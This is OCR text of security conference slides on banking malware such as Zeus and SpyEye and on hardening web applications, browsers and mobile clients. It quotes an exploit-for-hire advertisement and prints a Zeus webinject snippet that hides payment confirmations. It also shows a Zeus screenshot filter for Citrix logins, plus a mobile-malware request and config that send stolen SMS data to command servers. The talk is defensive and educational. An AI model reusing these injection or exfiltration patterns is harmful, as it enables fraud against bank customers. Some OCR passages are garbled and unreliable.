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My definition of malware




Malware

My definition: Non-destructive malicious software
that steals information, hijacks credentials and
injects fraudulent transactions

Examp

es: Zeus, Spykye, ...

Note: targets also non-financial applications:
Facebook, Twitter, Gmail, Yahoo ...

My prediction: attacks against cloud apps like
Salesforce, Google Apps, ..




Malware Infection Methods

= Drive-by-Download
« Legitimate web sites that are hacked
« Malicious web sites that include exploit code

Buy exploit code... ... target unpatched vulnerabilities
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Closer Look: Exploit Services For Hire
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RU: $ 40
UA: $ 30
KZ: $ 20
PL: $ 90

BY:$40 No loader required,
Mix w / o asia: $ 30 .
exploit based

asia: $ 10
World mix: $ 20 infection

Rules

Ship your software via non-resident loader.
Infecting with DDoS bots, ZeuS, SpyEye, Click-bots, SPAM-bots, SOCKS, etc.
Return customer preferred

Minimum of 2K infections

| can also infect with your malware per customer demand
No re-distributors

Provide each customer with personal statistics

If lockers shipped, price is discussed separately.

Competitor
prevention

Communication via icq 236100100

Additionally

AV antidote

Private exe polymorphic creator
from $ 25 to $ 50

Maintenance agreement

We will check your file twice per day, ifgoes idle we will remove if from the computer
1 week =$ 20

1 month = $ 100

Features of the extra service files

Unique encryption - Unique encryption to avoid AV signatures

owasp @

Files do not require any additional libraries.
(The file will work on all systems)
Files not detected by Anti virus




Malware Attack Technique:
Fake Web Content injection

= Manipulate/Insert Web Content - on the
fly

« Capture and deliver sensitive data (not part of
the original app logic)

« Credentials, credit card information, personal
information

= Typical configuration
« Hundreds of such “webinjects”




Capture payment card

Live attack: Inject data capture form
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Bypass two factor authentication: Capture Token
for real-time Transaction Verification

Live attack of Zeus on a major U.S. bank

After
Before (':......... 0

Uaen 1D
User ID |

Passwoed
Password X Gotve od Tokan Password

G\ '
Forget your password? r""’"
AV SRV R A




Bypass two factor authentication:
Do nothing

Authenticate —> Login
Successful

Fraudulent
Transaction

(from the user machine)

\

OWASP Q




Bypass HW transaction verification:
Device tralnlng W|th Dummy Trx

C — ) - -— O o o o Ve,

; ) ' Balance:
. . “$10,000”
o o e - v : [$9,000

actually]

Hide real
balance




Bypass Out-of-band verification by changing the phone
number on the account

Malware User

Inject: “New Security Measure,
enter phone number and wait
for code to arrive in SMS”

Appreciates the Bank
security innovation

Initiate phone number change in
the background. bank sends Users enter code into
code to old phone to verify fake form
change

Malware completes the change §

v

Fraudster can now transfer
money and execute approval
from his phone




Bypass Out-of-band verification by changing the phone
number on the account (cont.)
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More out-of-band channel attacks:
Bypass Email Confirmation

= Zeus eliminates transfer/payment
confirmation email from web mail

 From a recent Zeus configuration:

if( documen t.getElementById("datatable™).rows[i].innerHTML.indexof( "Faster Payment
confirmation" ) != -1 ||
documen t.getElementById("datatable").rows[i].innerHTML.index0f( "Payment
Created" ) )

{ //Faster Payment Confirmation | Payment Created
documen t.getElementById("datatable").rows[i].style.display = "none"

}

= Users don’t know funds were stolen




Bypass virtual keyboard, VPN
credentials compromised

= Zeus configuration:
<Filterurl><![CDATA[@*/citrix/*]]></Filterurl>

« @ = take screenshot of mouse vicinity when
left button is clicked (defeat virtual keyboard
anti key logging capability)

« “citrix” = only when this keyword is in the URL

» Password is collected as a series of
screenshots showing password letters




Mobile out-of-band verification attack

8

Transaction
approved using
,ﬁ\ stolen SMS

2

Malware
Command &
Control

1 User ]
Accesses Site

5

Download
Malware 7/ Malware = )
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- 4 your mobile phone
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9 . Malware "\
SMS with link to transfers . )
Mobile malware funds (PC is Legitimate Website
(“install new
certificate”)

Transaction
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Evade server side fraud detection

= Cookies used for malware state management

« Server side detection of specific cookies (in practice
since 2010 - Gartner)

« New SpyEye now uses non-cookie mechanisms

= Bare-bone transactions
« Server side detection of missing pages/parameters

« New SpyEye now simulates full “human” flow,
including button clicks

= Computer interaction time scale
« Server side detection of “too quick” submissions
« New SpyEye introduces time delays

©




How (not) to prevent exploitation

We analyze data collected over a four year period and study the most

popular practices that challenge four of the most prevalent web-malware
detection systems:

» Virtual Machine client honeypots

« Browser Emulator client honeypots

» Classification based on domain reputation
* Anti-Virus engines

Our results show that none of these systems are effective in isolation”

Trends in Circumventing Web-Malware Detection

Google Technical Report, July 2011




Hardening applications?!




What is hardening

Definition of hardening:
Reduce the attack surface
Eliminate vulnerabilities
Mitigate the impact of a vulnerability







Hardening books

SECURITY SAGE'S ™

Hardening the

Network Infrastructure

Professional

Windows

Desktop and Server

Hardening

Hardening‘
Windows

Hardening

Linux

300x300 19kb James Turnbull



Drupal 6 hardening guide

The goal of this page & 10 Duld a Drupal 6 hardening guide.
Cven though the Drupal communiy & already Quite aware of security, | Delieve that there are il some
oS that everybody could take 1o make thedwr Drupal ste more secure.

1. Remove default yorneeded Nies

Orupst Comes with & Lot of Sefacit Mles which are N Mg Needed after & succeiafil ratallation of
Orupit. The location of these Mot are will known Unce you can easlly look B up 1t the Drupal OV
reponitory.,

The Bsue with these Mes & that they utulily Contain vertion numbers which Can De uted by potential
ireders 1o fnd ot the version of Dropal you are renting. The aicest exarple of 4l & the
CIANCELOG. txt e, Sinply requesting this Mie fram 2 Oropil S witl Tell directly which weryon & Deng
wied,

¥ youTe Aot UPLO-GRte WD The Laleil SeCurty cpdales, potentisl Miruders can gty fNd cut which
volneradnws are applicatie to your Dropat ste.

Therefore, it order Lo mahe the Orupd flogerpvistiog & DE Darder, you shauld remove the fallowing
dofault Mot after you successfully mtalied Dropal:

CHANGELOG txt
COPYRIGHT 1t
INSTALL mysql.0t
INSTALL ppsgy nax
INSTALL sqike tat
INSTALL bt
UOENSE i
NANTANERS. Lt
UPGRADE a1
oLl phe

1. Disadle unneeded modles

Onable & much moduies & you can. If you dont reed Certain cptional core module (eg. Comment”,
Color®, etc.), then dhablie them. First of all, it will save procesing (ime when rendering pages since
Orupal needs 1o perform Less Checks,

.m ¥ ecurty winersbiities are found i one of thee modules, then youre not at rixk, Thih dorun
mean that you dont have 10 Upgrade 10 the sewell redease, Dut 2 lemt £ ghve you 3ome more time 10
“PyTade.

Ad2 Dt Somment D



magento hardening guide
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Geavarc
* RE: Liferay Security - Forums - Liferay.com
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* Alfresco Documentation and Online Help
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cloud hardening guide 1
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MIND THE GAP
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The GAP

Hardening applications is not only:
Hardening the architecture (DMZ, reverse proxy,..)
Hardening the OS
Hardening the web server

Hardening applications is:
Building and maintaining secure code
OWASP Top 10 Application Security Risks




Hardening applications?

Hardening is eliminating vulnerabilities by:
Disabling unneeded services/functions
Limiting access to specific IP addresses/users...

How can you harden an application?

Disable admin access
Disable CMS

Do you know all the security bugs in an application that
was build during 1 year by 10 people?




Hardening applications?

Most used solution today: web application firewall:
Detect attacks

Block attacks (if you have a WAF, are you sure it's
blocking?)
Alert and react

But to be effective you need to know the
vulnerabilities in the application = virtual
patching




OWASP Top 10

Al: Injection

A2: Cross-Site
Scripting (XSS)

A3: Broken
Authentlcatlon and

A4: Insecure Direct
Object References

A5: Cross-Site
Request Forgery

A6: Security
Misconfiguration

A7: Insecure
Cryptographic Storage

AS8: Failure to Restrict
URL Access

A9: Insufficient
‘ Transport Layer
S’ Protection

A10: Unvalidated
Redirects and




Hardening OS and Network

A3: Broken

A2: Cross-Site Authentication and

Al: InjeCtion Scr|pt|ng (XSS)

A5: Cross-Site

A4: Insecure Direct Request Forgery

Object References

A7: Insecure
Cryptographic Storage

AS8: Failure to Restrict
URL Access

A10: Unvalidated
: Redirects and
S Forwards




Web application firewall

A3: Broken
Authentlcatlon and

A5: Cross-Site
Request Forgery

A4: Insecure Direct
Object References

A7: Insecure
Cryptographic Storage

A10: Unvalidated
Redirects and




Analyzing the effectiveness of web
application firewalls — Larry Suto 11/11
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History of malware attacks

Malware attacks against web applications started
years ago:
Code Red in 2001: buffer overflow in IIS
Santy in 2004: phpBB command execution

Asprox in 2008: SQL Injection -Infected 6 million URLs
on 153.000 websites

Lizamoon in 2011: SQL Injection — Infected 1.5 million
URLs




Hardening OS, network and WAF

A3: Broken
Authentlcatlon and

A5: Cross-Site
Request Forgery

A4: Insecure Direct
Object References

A7: Insecure
Cryptographic Storage

A10: Unvalidated
Redirects and




Malware vs hardening

Hardening OS, infra & WAF will stop most mass
malware attacks

Can we go have a beer now?
What about:




The end point is the weakest link

OnlineBanking

Sensitive Data and Apps

—

End Point Security Database Firewall

Web Application Firewall

Perimeter Security

e

Cyber Criminals OWASP 6




Hardening the browser

Weakest link today: the browser
Easy to infect with drive-by-download

This malware is not impacting the user:

1. Observe: take screenshots, log HTTP requests, wait
for instructions

2. Update: configuration to attack specific web
applications (banking, cloud apps, remote access,..)

3. Attack: all infected machines attack




Trusteer malware statistics

Regions Targeted by Spyeye - August 2011
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Targeted Regions: Zewus 2.0 vs. Ice IX
November 2011
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Hardening the browser

Hardening the user:

One-time-password tokens

Transaction signing with tokens (and bankcard)
Hardening the browser:

Secure sandbox
Patching/AV/FW

Hardening the mobile (i0S, Android, Win):
Secure mobile




APT against end-user
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tfﬂ'!sms!gate.php?sender=15555215556&receiuer=1555521555u&text=hello" HTTP/1.1

ser-Agent: Daluvik/1.2.0 (Linux; U; Android 2.2; sdk Build/FRF91) |
Host: 124ffsaf.com
Connection: Keep-Alive

HTTP/1.1 286 0K

Server: nginx/1.0.4

Date: Wed, 83 Aug 20611 12:39:54 GHT
Content-Type: text/html; charset=UTF-8
Connection: close

X-Powered-By: PHP/5.1.6
Content-Length: ©




<settings>

Es.nd valuee*1%/51 walues"1" . HTTP dalvory mathod
<telephone values+123%/>  Vae="2" . SMS delvery method
i<hetp>

Caddr valoe="http://1248fnal . com/amn/gate . php™/>
<addr valuos"http://1241€42. . con/esns/gate. php"/>
<addr valvem"http://1241Cdsal . com/sms/gate . .php"/>
<addr valuem*http://124sfatfsatfa.oon/sas/gate.php*/>
</htip>

i<tels>

</saln>

</pestings>
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Wrap-up

Hardening web applications requires:

Secure web applications running on hardened network
and infrastructure

Hardened browsers
Hardened mobile client

Hardened user




Questions?

erwin.geirnaert@zionsecurity.com
@ZIONSECURITY
www.linkedin.com/in/erwingeirnaert




